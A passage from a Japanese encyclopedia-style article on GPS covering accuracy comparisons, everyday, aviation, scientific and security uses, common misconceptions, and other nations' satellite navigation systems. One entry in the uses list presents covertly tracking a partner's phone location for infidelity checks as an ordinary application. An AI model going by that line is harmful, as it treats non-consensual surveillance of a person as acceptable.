|[[LORAN#ロランC|LORAN-C]] 仕様
|460 [[メートル|m]] / 460 m
|LORAN-Cシステムの指定された最低の精度。
|-
|[[距離測定装置]] (DME) 仕様
|185 m (直線)
|DMEは、無線通信により航空機と地上局との直線距離を航空機から測定する装置。
|-
|GPS仕様
|100 m / 150 m
|Selective Availability (SA) オプションがオンになっているGPSシステムの指定精度。SAは2000年5月2日に解除された。
|-
|[[LORAN#ロランC|LORAN-C]] 測定された再現性
|50 m / 50 m
|[[アメリカ沿岸警備隊]]は、時差モードで50メートルの「位置に戻る」精度を報告。
|-
|[[ディファレンシャルGPS]](DGPS)
|10 m / 10 m
|ディファレンシャルGPS (DGPS) 最低精度。[[アメリカ合衆国運輸省]]と[[アメリカ国防総省]]が共同で発表した2001年の連邦無線ナビゲーションシステム(FRS)レポートによると、精度は施設からの距離によって低下し、1m未満の場合もあるが、通常は10m未満の精度。
|-
|[[LORAN#eLORAN|eLORAN]]再現性
|8 m / 8 m
|利用可能なすべての信号とHフィールドアンテナを同時に使用し報告された精度。
|-
|[[広域増強システム]](WAAS)仕様
|7.6 m / 7.6 m
|高精度アプローチで使用するために[[WAAS]]が提供しなければならない最低の精度。
|-
|GPS測定
|2.5 m / 4.7 m
|[[連邦航空局]](FAA)のNational Satellite Test Bed(NSTB)の調査結果に基づいて、Selective Availability (SA) をオフにした状態でのシステムの実際の測定精度(受信機エラーを除く)。
|-
|広域増強システム(WAAS)測定
|0.9 m / 1.3 m
|NSTBの調査結果に基づく、システムの実際に測定された精度(受信機エラーを除く)。
|-
|[[地域増強システム]] (LAAS) 仕様
|
|LAASプログラムの目標は、[[計器着陸装置#ILSのカテゴリー(精度)|カテゴリーIIIC ]]機能を提供することで、航空機は「[[オートランド]]」システムを利用して視界ゼロで着陸することができ、<1mという非常に高い精度を示す<ref>[https://books.google.com/books?id=zwmJI0I3qCMC&pg=PA279&dq=%22laas%22+autoland&hl=en Aircraft Instrumentation and Systems]. page 279 chapter "9. Aircraft Navigation Systems" section "2 Ground Based Augmentation Systems"</ref>。
|}
== 様々な用途 ==
[[ファイル:KyotoTaxiRide.jpg|thumb|300px|right|民間利用の一例、タクシーにて。(2004年7月16日京都)]]
民生用GPS受信機は当初[[航空機]]、[[船舶]]、[[測量|測量機器]]、登山用(携帯型)に利用されてきたが、その後は[[自動車]]([[カーナビゲーション]]・システム、以下カーナビ)や[[携帯電話]]にも搭載されている。
* [[カーナビゲーション|カーナビ]]、[[歩行ナビゲーション]]
* [[レーダー探知機]]
* [[携帯機器]]
** [[ハンドヘルドGPS]]、[[腕時計]]、[[PlayStation Portable|PSP]]用[[GPSレシーバー]]
** [[携帯情報端末|PDA]]、[[携帯電話]]、[[スマートフォン]]、[[タブレット端末]]、[[ノートパソコン]]
** [[デジタルカメラ]]
=== 携帯電話・スマートフォン用 ===
[[ファイル:Smartphone with navigation map app.jpg|代替文=|サムネイル|GPSを備えたスマートフォンによるナビゲーション。]]
2018年現在では、ほぼ全ての携帯電話やスマートフォンにGPSが搭載されている。この種の製品では、地図情報・GIS情報を[[サーバ]]側にもつことにより詳細な最新の地図を提供したり現在地周辺の付加サービス<ref group="注釈">(例えば最寄の料理店を検索し電話を掛けて予約する)</ref> を実現している。また情報を送信できないGPSと送受信機である携帯電話を組み合わせ、セキュリティ(児童保護や徘徊老人対策、犯罪者の監視等)への応用も拡がっている。
GPSの測位情報を継続的に記録したトラッキング情報は、ランニング、登山、ツーリング等で活発に活用されている。
デジタルカメラでは、撮影記録と共に画像ファイルの[[Exchangeable image file format|Exif]]フィールドに自動的に撮影地の緯度・経度・時刻などが記録されるものもあり、スマートフォンで撮影した画像も撮影地点を自動で記録しているものがある。
現在の携帯電話では[[A-GPS]](Assisted Global Positioning System)を利用してGPS信号を受信し難い場所でも携帯電話の[[基地局]]情報を参考として測位までの時間の短縮を行っているものが多い<ref>{{Cite web|和書|url=https://www.kddi.com/yogo/通信サービス/A-GPS.html |title=A-GPSの概要 |accessdate=2011-05-24}}</ref>。GPSチップ・携帯電話搭載のプロセッサの能力が低かった時代は、GPS情報をホストサーバーに送り、緯度・経度・高度情報を携帯端末に送り返してもらうというシステムも存在した。
また、警察、消防へ緊急連絡をした場合、通報を受けた側から発信者へGPS情報の送信を促し、現在位置の早期発見に繋げている。
=== 移動機器(車両等)据付型 ===
民間企業や官公庁ではGPS機能用いて人員や車両配備の効率化を図る利用法が進められており、各国の官公庁にも[[GPSを用いた公務員管理]]を導入する動きがある。
その他、ノート型のPCやタブレット、[[携帯ゲーム機]]をカーナビとして使えるようにするGPSユニットとソフトも発売されている。なお単体のGPSユニットは、測位等はすべてユニット内で完結しており、NMEAなどの標準フォーマットで緯度・経度その他の情報を送り出すものが多い。PCやPDA本体ではこれを受信し、地図ソフトなどと組み合わせてカーナビ同様に使ったり、トラックの記録をすることができる。PCやPDAの接続も、かつては[[シリアルポート]]接続やPCMCIA([[PCカード]])・[[コンパクトフラッシュ|CFカード]]規格が多かったが、現在は[[Bluetooth]]で測位情報を本体に転送するものもある。
=== ゲーム・スポーツ ===
; 登山用
: 山林の中で移動するために、かつては方位磁針と地図で現在地を推察するしかなかったが、GPSはそれを全て解決し、安全性を大きく高めた。
; フィールド用
: [[アスリート]]用に走行距離、[[ラップ]]、走行経路のアップダウンなどを表示する、[[腕時計]]のような形態の非常に小型の製品も実用化されている([[GPS腕時計]])。
; ジオキャッシング
: [[ジオキャッシング]]はネット上で公開されたキャッシュ(宝)の緯度・経度とヒントを元にGPSを利用しキャッシュを探すゲームである。当初はGPSのSA解除に伴い、GPSの精度でどのくらい位置を精密に特定できるか、というネットニュース上での問いかけに応じる興味で始まったものである。10年以上・数百万人以上のプレイヤーがいる現在では、類似のハイテク宝探しの元祖として、趣味として確立されている。キャッシュには様々なタイプがあるが、実体があるキャッシュ (物理キャッシュ) の実体は、数ccのチューブ〜数十Lのバケツ以上の大きさの容器 (コンテナ) であり、ログブック (見つけた日時・ジオキャッシングIDを記録する) や交換アイテム (オプション) などが入っている。見つけた人はログブックに記録しオンラインのログにも記録する。
; GPS絵画(GPSドローイング)
:[[GPS絵画]]([[GPSドローイング]])はGPSロガーで描いた緯度・経度の軌跡により、文字やイラスト等のイメージを制作する行為である。軌跡は[[Google Earth]]など地図ソフトウェア上に表示ができる。
; パラグライディング競技・パラシューティング競技
: これらのスポーツでは、(1) 競技者がGPSを公式な記録として提出することができる、(2) GPSを用いてより良い記録を出すことを目指す、などの利用がなされている。滑空距離や落下位置の正確さを競うこれらの競技では、従来写真による記録や審判員による目視で記録がなされることが多かった。プレイヤーが所有するGPSの記録を提出し、それが改ざんされていないと認められれば、有力な記録の証拠となる。また単体機のGPSレシーバでは、立体的にリアルタイムの移動距離・降下率を計算し、事前に設定した目標へ近づく参考となる機能を備えたものもある。
; エリア奪取(au)
: [http://typezero.ddo.jp/ez/ エリア奪取] は[[au (携帯電話)|au]]のGPS[[携帯電話]]の[[位置情報サービス]]を使って、[[陣取り合戦]]をするゲームである。地球上を緯度1分×経度1分の四角形で区切ったものを「エリア」と呼び、「エリア」を参加者が奪い合う。ただし、位置情報サービスは[[EZweb]]の通信を使っておこなうため、auの電波状態が良好な地域に限られる。逆に、auの[[EZweb]]で通信できるなら、険しい山岳や海上も「エリア」となる。
; 迷路・ビーストハントなど
: [[ガーミン]]の単体機GPSレシーバには、GPSを利用したゲームが内蔵されているものがある。ある程度以上広いところでGPSが受信できるならば、実際にプレイヤーが動くことでゲームをプレイする(レシーバが表示した仮想の迷路をプレイヤーが動いて脱出する、など)のゲームを行うことができる。
; ゴルフ
: [[GPSゴルフナビゲーション]]を用い、ゴルファーの現在位置やホール上の特定ポイントまでの距離情報などを得ることができる。
; スマートフォン向けゲームアプリ
: [[位置情報ゲーム]]でプレイヤー位置の特定のためにGPSが使われるものがある。主なものとして、[[Ingress]]、[[Pokémon GO]](ともに[[Niantic, Inc.|Niantic]])、[[パズドラレーダー]]([[ガンホー・オンライン・エンターテイメント|ガンホー]])などがある。
; [[位置情報SNS]]
: 利用者がGPSで取得した現在位置情報を自ら公開し共有する[[ソーシャル・ネットワーク・サービス]]。[[Yelp]]や[[Foursquare]]のほか、[[Facebook]]や[[Twitter]]にも位置情報共有機能が実装されている(位置情報なしで投稿することも可能)。
; 浮気調査
: パートナーの浮気・不倫調査において、携帯に備え付けられたGPS機能を活用し、調査することがある<ref>[https://pamarry.com/couple/9504/ 旦那にバレないGPSアプリ・アイテムはある?夫の居場所をコッソリ浮気調査|PaMarry(パマリー)]</ref>。
=== 船舶 ===
[[船舶]]にとってGPSは重要な[[航海術|航法]]支援設備である。航空機同様、陸から離れたら目印をもたない海上において、[[遭難]]・衝突や[[座礁]]を免れるために、精度の良い航法支援システムを利用することは重要であった。そもそもGPSは[[LORAN|ロラン-C]]に取って代わるためにつくられたシステムである。
=== カーナビゲーションシステム ===
[[カーナビゲーション]]はGPSの実装において技術的に有利な応用である。自動車は安定した電源が供給でき、GPS用アンテナを良い位置に設置できる。携帯電話と比較して大型の装置が搭載できるため、詳細な地図情報を内蔵できる。
また、速度規制取り締まりやシートベルト着装取り締まり等を頻繁に行っている場所の緯度・経度をデータとして持ち、その近辺で警告を発する機器も存在する([[レーダー探知機]]の項を参照)。
=== 航空宇宙分野 ===
;航空
:GPSやGLONASSなどの位置情報を航空機にも使用することが促進されている。
従来の航空機航法は、[[超短波全方向式無線標識|VOR]]・[[距離測定装置|DME]]などの地上航法支援施設を用い、いわば電波の灯台への方位・距離を測定して現在位置を知る方法だった。これに対し、衛星が4個以上見えていればある程度の精度で絶対位置がわかるGPSは、航空機向けの測位方式であるとも言える。
しかしながらGPS信号をそのまま航空航法に使用するには、測位の安全性・信頼性・精度等に問題がある。具体的には、低高度、特に精度がもっとも必要とされる[[着陸]]寸前の地形による遮蔽・マルチパス、機体の姿勢変更に伴いロックした衛星(測位に用いている衛星)が変化すること、一般にGPSによる測位では航空機にとって重要な高度方向の精度が緯度・経度方向の精度より低いこと(ただしこれは計算方法にもよる)、ジェット機などは高速移動するためドップラーシフト・衛星コンステレーションの時間的変化が無視できないこと、などである。
ただし、大型機ではINS([[慣性誘導装置|慣性航法装置]])や従来の測位方式などと併用すること、小型機ではVFR([[有視界飛行方式]])が主であることなどから、実際の運用では(制度上は認められていないものの)機長判断の参考として用いられている場合が多かった。
こういった流れを受けて、また近年では航空機運航の高密度化により定められた航空路以外の経路を飛ぶための一手段として、GPS情報を航法に利用することが[[国際民間航空機関]](ICAO)や国土交通省[[航空局]](JCAB)でも検討されてきた。その成果として日本では、一部の空港の離着陸手順において[[広域航法|RNAV (GPS) 航法]]の実施が2007年9月27日より開始された<ref>{{Cite web|和書|url=https://www.mlit.go.jp/kisha/kisha07/12/120813_2_.html |title=空港への新たな高精度航法(RNAV)の導入に向けて |accessdate=2007-10-04}}</ref>。航空機は[[ウェイポイント]]とよばれる架空の点を結ぶ線を経路とするように飛行する。従来のVOR/DME航法では、VOR/DMEの位置、あるいは1つまたは2つのVOR/DMEから一定の方位角・距離にある架空の点をウェイポイントとしていた。これに対しRNAV航法では、地上施設に拠らない自由な点をウェイポイントとして定めることができるため、飛行経路の短縮による運航時間の短縮、燃費の節約などが見込まれる。
航空機での精度向上を一次目的とした、静止衛星型衛星航法補強システム([[SBAS]]: Satellite Based Augmentation System)の運用が以下の各国で開始され、あるいは計画されている。
* 米国:[[WAAS]](Wide Area Augmentation System)
* 中国:[[CNSS]](Compass Navigation Satellite System)
* ロシア:[[SDCM]](System for Differential Corrections and Monitoring)
* 欧州:[[EGNOS]](European Geostationary Navigation Overlay Service)
* インド:[[GAGAN]]
* 日本:[[MSAS]]([[MTSAT]]-based Satellite Augmentation System)
SBASでは、[[GPS衛星]]の補正情報(特に高度情報の補正)や信頼性情報を送信し、またSBAS衛星自体も測位のためのひとつの衛星として働く。さらにSBAS衛星は[[静止軌道]]にあるため、中〜低緯度地方では天頂に近い高仰角でみえているのも有利な点である(北緯35度では仰角55度)。航空以外の分野でも、例えばビル街でのカーナビの精度向上にも役立つと考えられている。SBASを補助情報として用いることができるGPS受信機はすでにSBAS対応(WAAS対応)受信機として広く普及し始めている。
日本のMSASについては、航空機でのRNAV運用に伴い、2007年9月27日から試験信号フラグ(MT0)が運用モード(MT2)となり、正式に供用開始となった。ただし初期のWAAS対応機など一部のSBAS対応受信機では、MSASの衛星番号を設定・処理できないため測位に利用できないものがある。
航空航法にあっては、用途によって最低精度が定められていることがある。GPS衛星の配置や運用停止などの都合上、飛行中に航法が求める精度を満足できない空域がある場合は、その空域にてGPSを航法に用いることができない。そのような空域や時間帯を飛行前ないしは飛行中に予測することをRAIM予測と言う。RAIM予測の結果GPSに依存する航法が使用できない場合は、VORなどの他の航法に切り替える必要がある。
;宇宙
:[[宇宙船]]及び[[人工衛星]]は、[[低軌道]]から[[対地同期軌道|静止軌道]]までの[[地球軌道]]で、[[姿勢制御]](ACS)にGPSを利用している。
=== 科学技術分野 ===
科学技術分野では、もちろん国土の形状を明らかにしたり、cm単位で地球の動きを知り地震予知に役立てるなどの、いわばGPS本来の用途のほかに、トラッキングや時刻の高精度同期などにも利用されている。
大型の[[渡り鳥]]にGPS[[発信機]]を装着して、その渡りの過程を追跡することに利用されている。[[山階鳥類研究所]]は絶滅が危惧されている[[アホウドリ]]の繁殖活動を行っており、その一環として[[伊豆諸島]]の[[鳥島 (八丈支庁)|鳥島]]で生まれたアホウドリを[[聟島]]へ移住させて繁殖地の拡大を図っているが、そのうちの7羽にGPS発信機を装着してその後の足取りを追跡した。その中の1羽が[[カムチャッカ半島]]、[[アリューシャン列島]]、[[アラスカ湾]]、[[カナダ]]西海岸を経由して[[アメリカ合衆国|アメリカ]]・[[カリフォルニア州]]の[[サンフランシスコ]]沖に辿り着いていることが[[人工衛星]]による追跡で判明し、現地での写真撮影によりその個体が確認された。アホウドリの2万km以上におよぶ渡りの経路の詳細がGPSの技術により明らかになった<ref>{{cite journal | 和書 | author = [[東京新聞]]特報部 | title = 太平洋渡るアホウドリ | journal = 東京新聞 | issue = 2009年(平成21年)10月28日(水曜日)| edition = 11版S | pages = 24面}}</ref>。また、同じく追跡が困難な海洋生物にも装着して研究に役立てている。
このほか、位置が既知の基地局で高精度にGPS測位を行い、その誤差情報からGPS電波伝播経路の大気の状態を知る[[GPS気象学]]なども実用化を目指して研究されている。
==== 時刻の取得 ====
[[GPS衛星]]搭載の原子時計からの時計情報も、科学分野を中心に広く活用されている。GPSの時計情報はGPS衛星に搭載されている原子時計の精度とほぼ一致し、[[クォーツ時計]]の精度よりもはるかに高い。そのため、野外で正確な時刻を知る必要がある場合や、複数点で時計情報を高精度で一致させる([[クロック同期|同期]]する)ために用いられる。
GPS本来の目的である位置決定とは異なる利用法であるが、特に[[地球科学]]や[[土木工学]]分野に大きな効果を与えている。[[地震]]を監視し[[震源]]を高精度に決定するためには、広範囲に多数設置された[[地震計]]すべての時計を秒未満の精度で一致させ<ref group="注釈">1979年時点でも、100分の1秒の精度が望ましいとされた。地震学会編、1979、『地震の科学』、保育社</ref>、かつ数ヶ月から数年間にわたりその状態を維持する必要がある。そのために従来は[[JJY]]を同時に記録し時刻を記録していたり、各地震計に[[原子時計]]を接続する必要があり、費用負担が大きかった。しかしGPS受信機を接続することにより、GPS衛星からもたらされる高精度の時計情報を受信できるようになったため、すべての地震計を容易に時刻同期させることが可能となった。
コンピュータの時刻を[[インターネット]]で高精度に同期させるプロトコルである[[Network Time Protocol|NTP]]サーバでは、大元となる超高精度のサーバ(stratum 0)は従来、構築が容易ではなかったが、GPS受信機との接続により、比較的容易にstratum 0サーバを構築できるようになった。この目的においてGPS受信機を使用する場合、時刻の同期成立時に1PPS(正確に1秒毎に発生するパルス)信号を生じる受信機を使用し、NTPサーバ本体の時刻をGPS受信機に同期させる実装が多い。
=== 防犯 ===
[[窃盗]]や[[誘拐]]の特定の物や人物に対する犯罪を防止するために、GPSが活用されている。例えば、[[建設機械]]は高価な機械で野外に置いてあり、しかも[[開発途上国]]で需要が高いため、[[先進国]]で窃盗されることが多いが、製造企業がGPSで現在位置を報告する装置を一台ごとに組み込んだところ、窃盗された建機の位置を特定し、犯人が検挙された事例が報道され、建機の窃盗が減っている<ref>{{Cite news|url=http://www.kobe-np.co.jp/news/shakai/0003794636.shtml |title=建設機械にGPSなど「防犯」効果 盗難被害激減 |date=2011年2月9日 |publisher=神戸新聞 |accessdate=2011-02-1 |deadlinkdate=2019-09-03}}</ref>。
また、[[児童]]に対する犯罪が社会的関心が高まる中で、[[保護者]]が児童の位置を管理し、誘拐など犯罪を防止するために、GPS付の携帯端末が販売されており、一部の携帯端末([[mamorino]]等)は[[警備会社]]と提携して、問題行動があれば保護者に代わりに即応できる体制のサービスも提供されている。その応用で、GPS携帯端末を徘徊行動をする[[認知症]]患者や、一人暮らしもしくは持病のある高齢の親に持たせて、何かあった場合に位置を確認して親族が保護したり、警備員が駆けつけるサービス<ref>{{Cite web|和書|url=http://www.855756.com/aged/ |title=ココセコム 高齢者を見守る |accessdate=2011-02-10}}</ref> を利用して保護している家庭もある。それ以外に重要なモノを管理するために活用したり、児童や高齢者同様、成年男性や女性の居場所を探すために利用されている。しかし、これらの機能が[[ストーカー]]犯罪に悪用されている事件も発生している。
性犯罪者の再犯を防止するための[[電子監視]]が、アメリカ合衆国や、イギリス、フランスなど[[ヨーロッパ]]や大韓民国で既に導入されており、日本でも導入の検討がなされているが、[[人権蹂躙]]という指摘もある。
2006年6月、警察庁は全国の警察に通達した運用要領の中で、GPSを使用した犯罪捜査実施状況を容疑者に伝えず、捜査書類にも記載しないなどと明記し、秘密保持の徹底を求めていたことが報道された。この中で、GPSを仕様した捜査の具体的な実施状況については、文書管理を含めて秘密保持を徹底することとし、「容疑者の取り調べではGPSを用いたことを明らかにしない」「捜査書類にはGPSの存在を推知させるような記載をしない」「事件広報の際はGPSを使用した捜査を実施したことを公にしない」ことを厳命していた<ref>毎日新聞2017年2月1日1面・31面</ref>。
2023年5月10日、[[保釈]]された被告にGPS搭載端末を装着できる制度の新設を盛り込んだ改正[[刑事訴訟法]]が参議院本会議で可決、成立した。[[カルロス・ゴーン事件#ゴーンのレバノンへの密出国・逃亡|カルロス・ゴーン被告のレバノン逃亡事件]]を受けた措置で目的は海外逃亡防止に絞られており、実際の運用は限定的になる見込み<ref>{{Cite news|url=https://www.sankei.com/article/20230510-7F53POGK4BPQZJMF4K45EBLJWU/|title=改正刑訴法成立 GPS装着、今後の課題は適用拡大|newspaper=産経新聞|date=2023-05-10|accessdate=2023-05-11}}</ref><ref>{{Cite news|url=https://www.jiji.com/amp/article?k=2023051000155|title=保釈被告にGPS装着 「ゴーン事件」受け逃亡防止―改正刑訴法が成立|newspaper=産経新聞|date=2023-05-10|accessdate=2023-05-11}}</ref>。
=== 軍事用途 ===
勿論、本来の目的である軍事用途においてもGPSは活用されている。[[湾岸戦争]]や[[イラク戦争]]では、アメリカ軍の地上部隊はGPSのおかげで、何の目印もない広大な砂漠での正確な進軍を可能にした。[[誘導爆弾]]もGPSを利用したタイプ([[JDAM]]や、[[M982 エクスカリバー]]など)が登場し、安価でレーザーによる誘導操作が不要である反面、命中精度でレーザーなどに劣る事や標的座標エラーによる[[誤爆]]の危険がつきまとう問題点がある。また[[無人航空機]](ドローン)の自律運用においても大きな役割を果たしている。
=== 高周波信号の生成 ===
従来[[水晶振動子]]を用いて生成していた[[PLL]]の基準信号をGPSの受信信号に置き換えることにより、PLLの要素機能をほぼそのまま流用しながら、GPS信号とほぼ同等の精度および安定性を持つ高周波信号の発振回路を作ることが出来る。このような回路は[[:en:GPS disciplined oscillator|GPSDO]]と呼ばれ、基準信号であるGPS信号と同じく時刻および周波数基準に使用されたり、[[:en:QRP operation#QRSS|QRSS]]等の超狭帯域無線通信(おおむね数Hz以下)の信号生成に用いられる。GPSの受信信号としては、時刻同期時に得られる1PPS信号を用いることが多い。
携帯電話([[CDMA2000]]・[[WiMAX]]・[[Long Term Evolution#TD-LTE|TD-LTE]])や[[PHS]]の基地局では、基地局間の同期にGPSタイミング基準信号(1PPS信号)を利用することが規格で定められている。これらの用途では、GPS由来の高精度の周波数が、周波数やサブキャリアの正確な分割に不可欠となっている。
=== 移動を想定しない利用 ===
GPSは現在地を明確にする場合に用いられることが多いため、移動する機器に装着されているが、以下に示す例はその逆である。
====国土地理院による定点観測====
[[国土地理院]]は、[[日本列島]]のあらゆる地点にGPSを定期的に受信する電子基準点を設置し、[[地殻]]の変化を3次元的に詳細に観測することができる。[[2011年]]の[[東北地方太平洋沖地震]]([[東日本大震災]])では、1メートル以上の地盤沈降や、5メートル以上の水平移動が観測されている。
== GPSにまつわる誤解 ==
以下の言説は、すべて誤解である。
*[[GPS衛星]]はGPS受信機(カーナビ等)に直接その受信機がいる座標値 (x, y, z) を教えている。
* GPS衛星がカーナビのルートを作成している。
* GPS衛星はGPS受信機の位置を逆探知できる。
* GPS衛星とGPS受信機が相互に通信をしている。
* GPS信号によって方位も決定している。(ただし、GPSコンパスを実装している製品を除く)
* 運送荷物の追跡システムは、荷物のどこかにGPS発信機が内蔵されている。販売者が追跡できる。
「GPS信号」とはGPS衛星が発している電波のことであり、受信機が発する信号は「GPS情報」である。
GPS衛星は、[[地球]]に向けて[[時報]]と<!--、全衛星の概略軌道情報、-->発信元衛星の[[天体暦]](軌道)情報<!--の3つ-->を発しているのみの衛星である<ref group="注釈">つまり、衛星軌道の変更や[[閏秒]]実施通知の受け取りなど、指令電波は受けるが、GPS受信機からの電波を受信できる機能は持っていない。</ref>。GPS受信機はGPS衛星からの電波を受信して、GPS衛星それぞれとの距離を算出しているに過ぎない。
また、方位についてはGPSコンパス<ref>{{Cite web|和書|url=http://www.denshi.e.kaiyodai.ac.jp/paper/2003/kuwana.pdf |title=GPS コンパスの性能評価 |accessdate=2014-10-12 |format=PDF}}</ref>{{要検証|date=2019年9月|title=Wikipedia:井戸端/subj/卒業論文は信頼できる情報源として使用可能か}}<ref>{{Cite web|url=http://gishop.jp/html/page8.html |title=http://gishop.jp/html/page8.html |accessdate=2014-10-12}}</ref>{{出典無効|date=2019-09-03}}と呼ばれるような機能によって、ある程度離した二つ以上のアンテナによって受信したGPSの位相信号と、そのアンテナたちの相対的な位置関係から方位を算出することができる。しかし、その機能を実装していない多くの製品においては、ジャイロ機構や方位コンパスを使用していない場合、静止している受信機器の向いている方位を知ることはできない。なお、進行方向については移動しながら累積した複数の位置座標から、ある程度求める事が出来る。
GPS受信機は、基本的に送信機を保有していないため、位置情報をGPS衛星に通知するのは原理上そもそも不可能である。つまり、GPS受信機は受信するだけ、GPS衛星は送信するだけなのである。映画等で見られる「超小型GPS」と扱われるものは、その受信したGPS信号を何かしらの形で送信する機能まで有している必要があり、正確な位置を測位するには、上方から見やすい箇所に設置しなければならない。車両下部や梱包荷物内に取り付けたりすることは理想的ではなく、また建物内では窓等からのGPS信号を受信し、障害物の乱反射によって位置精度は大きく落ちてしまう。また、地下での測位はGPSだけでは不可能である。電波強度と衛星数の問題なので、受信機が小型高性能化しても解決できない。
日本の航空運送事業者の旅客機の機内では、GPS受信機の使用制限はない<ref>{{Cite web|和書|url=https://www.mlit.go.jp/koku/15_bf_000005.html |title=航空機の運航の安全に支障を及ぼすおそれのある電子機器の使用制限について |publisher=国土交通省航空局 |accessdate=2016-04-28}}</ref> が、多くのGPS受信機は通信機器を併用しているため注意が必要である。
この誤解の元となった技術に、運輸業などの[[カーロケーションシステム|車両位置監視システム]]や、児童・徘徊老人のセキュリティシステムなどがあるが、これらではGPS受信機の位置情報を外部に通知するために、[[移動体通信|携帯電話回線等]]による別回線での通信を行っている。運輸される荷物にGPS受信器が装着されていることはなく、該当する荷物を搭載しているトラックの位置情報が提供されている。
2008年2月5日に岡山市で[[現金自動預け払い機]](ATM)が盗まれた事件では、事件発生後約45分でGPSによって盗難ATMを発見するという成果を挙げている。この事例でも、機器に組み込まれた携帯電話モジュールで、警備会社への位置情報を通報をしていた。<!-- 憶測的な書き方は問題あり。ソースがないなら削除対象です -->
== 各国の衛星航法システム ==
=== 概要 ===
{{main|衛星測位システム}}
GPSは、元来は[[アメリカ軍|米軍]]の軍用システムであり、[[アメリカ合衆国連邦政府|米国政府]]の支配下にある。そのため、精度や可用性その他について、また他国や民間における利用に対して、種々の制限を受ける事が過去にもあり、また将来的にも有り得る。そのため、米国のシステム依存からの独立や、自身の利益に適合させる目的で、各国でも独自のシステムを保有、運用しようとする動きがみられる。
それでもGPSは、2010年台において世界中で最も普及している衛星航法システムであり、マルチGNSSを採用した利用者受信機でも、"GPS"が衛星測位システムの代名詞的に総称される場合もある。
==== GNSSとしての一般化 ====
各国でもGPSと同様、類似したシステムを運用開始している事から、従来GPSが独占してきた分野および用語は、「全地球[[衛星測位システム]]、全地球衛星航法システム(GNSS:Global Navigation Satellite System)」として一般化される事となった。
また、全地球にかぎらず日本の[[準天頂衛星システム]](QZSS)、インドの[[インド地域航法衛星システム]](IRNSS)などの地球的地域限定のシステムも構築されており、これらは全地球型システムと組み合わせて使用する事を想定している。
2020年頃までには代表的なGNSS(GPS、[[GLONASS]]、[[ガリレオ (測位システム)|ガリレオ]]、[[北斗 (衛星測位システム)|北斗/Compass]])がいずれも全地球的運用開始が見込まれる事から、「マルチGNSS」対応の受信機も開発、利用されている。2015年前後の[[スマートフォン]]はGPS/GLONASSマルチ対応の物が多い。
なお以下に列挙する各国のGNSSのほかにも、[[ナイジェリア]]、[[トルコ]]などにも他の衛星ナビゲーションシステムの開発の動きがある。
=== 中国 ===
{{see|北斗 (衛星測位システム)}}
北斗1は、3機の衛星で構成される実験的な衛星測位システムで、[[中華人民共和国]]周辺でのみ使用される。北斗2は現在構築中で、完成時には35機の衛星で構成される「全地球測位システム」になる予定である。
=== ロシア連邦 ===
[[ソビエト連邦|旧ソ連]]は米国との対抗上、GPSと同様の'''[[GLONASS]]'''(グロナス)を構築しようとしたが必要な衛星を全て打上げる前に[[ソビエト連邦の崩壊|ソ連が崩壊]]してしまい、予算の縮小から衛星打ち上げが頓挫した。ロシアになってから計画が再開され、2005年には再開後初の衛星を打ち上げ、2010年までに24基の衛星を打ち上げる予定とされる。2011年には全世界で測位可能となり、現在は測位精度を高めるためにGLONASSとGPSを併用する受信機が登場している([[GLONASS#受信機]]も参照のこと)。
=== 欧州連合 ===
{{Main|ガリレオ (測位システム)}}
GPSを使用する上で米国に頼ることを嫌った[[欧州連合|EU]]は独自の'''[[ガリレオ (測位システム)|Galileo]]'''(ガリレオ)を計画、[[中華人民共和国]]も計画に参加している(後に離脱)。2005年にはロシアの[[ソユーズロケット]]を用いて最初のジオベ衛星を打ち上げた。2016年末に全地球運用開始<ref>{{Cite news|url=https://news.mynavi.jp/techplus/article/20161220-galileo/ |title=ついに運用が始まった欧州版GPS「ガリレオ」 |accessdate=2017-01-21}}</ref>。
=== インド ===
{{see|インド地域航法衛星システム}}
IRNSSシステムは、7機の衛星と地上局から構成される。7機のうち3機の衛星は、それぞれ東経34度、83度、132度の静止軌道に配置される予定で。残り4機のうち2機(IRNSS-1A、IRNSS-1B)は[[軌道傾斜角]]29度を有する東経55度の静止軌道へ配置される。残り2機は[[軌道傾斜角]]29度を有する東経111度の軌道へ配置される予定<ref>{{cite web
|url=http://www.nasaspaceflight.com/2014/04/indias-pslv-launching-irnss-1b-spacecraft/
|title=India’s PSLV successfully launches the IRNSS-1B spacecraft
|date=2013-04-03
|publisher=NASA Spaceflight.com
|language=en
|accessdate=2013-04-13}}</ref><ref>{{Cite web|url=http://www.isro.org/pslv-c24/pdf/pslv-c24-brochure.pdf |title=PSLV-C24 IRNSS-1B Presskit |accessdate=2016-02-12 |format=PDF |language=en |deadlinkdate=2019-09-03 |archiveurl=https://web.archive.org/web/20141109124530/http://www.isro.org/pslv-c24/pdf/pslv-c24-brochure.pdf |archivedate=2014-11-09}}</ref>。
=== 日本 ===
{{See|準天頂衛星システム}}
準天頂衛星システムQuasi-Zenith Satellite System(QZSS)は日本で構築された7機の衛星が交代で待機するシステムでGPSを補完する。
2010年9月11日に技術実証のための[[準天頂衛星システム|準天頂衛星初号機みちびき(QZS-1)]]が打ち上げられた<ref>{{cite web|url=http://qzss.jaxa.jp/is-qzss/qzss_e.html|title=About QZSS|accessdate=2009-02-22|publisher=JAXA|language=en|deadlinkdate=2019-09-03|archiveurl=https://warp.ndl.go.jp/info:ndljp/pid/3195978/qzss.jaxa.jp/is-qzss/qzss_e.html|archivedate=2012-01-07}}</ref>。その後2017年に2,3,4号機が打ち上げられ、2018年11月1日にサービスを開始した<ref>{{Cite press release|和書|title=「みちびき」によるサービス開始について|url=http://qzss.go.jp/overview/information/qzss_181101.html|accessdate=2018-11-29|language=ja|work=みちびき(準天頂衛星システム)}}</ref>。
なお、2023年までに衛星を更に3機追加し、7機体制での運用を行うことが閣議決定されている。
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group="注釈"}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
{{節スタブ|date=2020年9月18日 (金) 04:42 (UTC)}}
== 関連項目 ==
{{Commonscat|Global Positioning System}}
* [[アメリカ海軍天文台]]
* [[GPS気象学]]
* [[GPS絵画]]
* [[航空保安施設]]
* [[アビオニクス]]
** [[広域航法]]
* [[NMEA 0183]]
* [[Lバンド]] - GPS衛星が使用している電波
* [[地図]]
* [[地理情報システム]](GIS)
* [[緊急通報位置通知]]
* [[九州南西海域工作船事件]](いわゆる「[[不審船]]」が[[東シナ海]]に出現し、[[海上保安庁]]の巡視船と銃撃戦になった事件。自沈し後に引き揚げられた不審船からは、日本製のGPSプロッターが見つかっている)
* [[ジオキャッシング]]
* [[レジナルド・ゴリッジ]] - [[視覚障害者]]向けのGPSを開発。
